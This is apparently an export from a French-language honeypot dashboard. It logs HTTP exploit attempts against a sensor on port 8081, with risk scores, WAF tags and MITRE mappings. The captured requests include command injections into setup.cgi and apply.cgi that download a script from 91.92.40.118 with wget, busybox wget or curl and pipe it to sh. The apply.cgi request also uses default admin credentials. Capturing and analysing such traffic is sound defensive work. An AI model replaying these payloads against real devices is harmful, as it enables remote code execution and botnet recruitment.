"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20\u2026",
"request_line": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.1\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%2\u2026",
"evidence_snippet": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:07 UTC
TCP
8081 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20w…
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20…
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950345:rce-5
950405:ssrf-3
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsetup
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lset…
Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Règle WAF « lfi-12 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 6 tag(s) WAF
Protocole émulé
1 Signaux
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /setup.cgi?next_file=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsetup HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /setup.cgi?next_file=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.9
Requête brute (extrait)
GET /setup.cgi?next_file=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsetup HTTP/1.1 Host: 62.3.50.33:808
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "168f355f1e9166b8bc52e0f454202978f12fb305",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 280,
"payload_entropy": 5.068386919107891,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 64,
"tag_count": 11,
"anomaly_count": 1,
"campaign_key": "b98be878427c79e5e060d464e8e372ddbc3bb762",
"event_fingerprint": "87f03c8f6d384639056f2eb7a1a521418b74d6ab",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 127,
"precision_signals": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "762d78833d4be125e755f4697e1d469b",
"path_pattern_hash": "7a793259e7957dbaff63a0c99d83e638"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup",
"query_string": "next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup HTTP\/1.1",
"payload_snippet": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.9",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup",
"query_string": "next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup HTTP\/1.1",
"request_sample": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsetup HTTP\/1.1\r\nHost: 62.3.50.33:808",
"payload_snippet": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.9",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "6a20c6ab09954982af333347807e0752f29d2b4b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lset\u2026",
"request_line": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.9",
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20w\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lset\u2026",
"request_line": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http:\/\/91.92.40.118\/\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20w\u2026",
"evidence_snippet": "GET \/setup.cgi?next_file=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http:\/\/91.9",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"http_probe_setup",
"http_sensitive_path",
"net_web_probe"
]
}
11/07/2026 23:49:06 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /apply.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /apply.cgi
Émulateur
HTTP
WAF
34
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950407:ssrf-3
Cible HTTP
POST
/apply.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/apply.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
CRS 932205
Ligne de requête
POST /apply.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /apply.cgi HTTP/1.1
Host: 62.3.50.33:8081
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-url
Requête brute (extrait)
POST /apply.cgi HTTP/1.1 Host: 62.3.50.33:8081 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 255 Connection: close action=Apply&change_action=gozila_cgi&submit_type=&pptp_ip=cd%20/tmp%3Bwget%2
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "31402cc48ac7ac052e1d50fc94349665a12c2c45",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 434,
"payload_entropy": 5.3451921822832285,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "1c5dcf3e0abf2bbffb5e61322e8d6db5b1633b92",
"event_fingerprint": "776ffb2a7499e20a6aef854f832a2ad0b7b0ea31",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"CRS 932205"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "6242fe09486565e91e4827a224745ef8",
"path_pattern_hash": "b3e1dfd605a877958cebee595444f5d1"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 255\r\nConnection: close\r\n\r\naction=Apply&change_action=gozila_cgi&submit_type=&pptp_ip=cd%20\/tmp%3Bwget%2",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"evidence": {
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 255\r\nConnection: close\r\n\r\naction=Apply&change_action=gozila_cgi&submit_type=&pptp_ip=cd%20\/tmp%3Bwget%2",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0496f7d21e5dd6cb3d51360add3111d11e7714b4",
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_auth_header_token",
"http_basic_auth",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:06 UTC
TCP
8081 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:8081 · (tentative d'exploit) · → /apply.cgi
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /apply.cgi
Émulateur
HTTP
WAF
34
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950407:ssrf-3
Cible HTTP
POST
/apply.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/apply.cgi
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
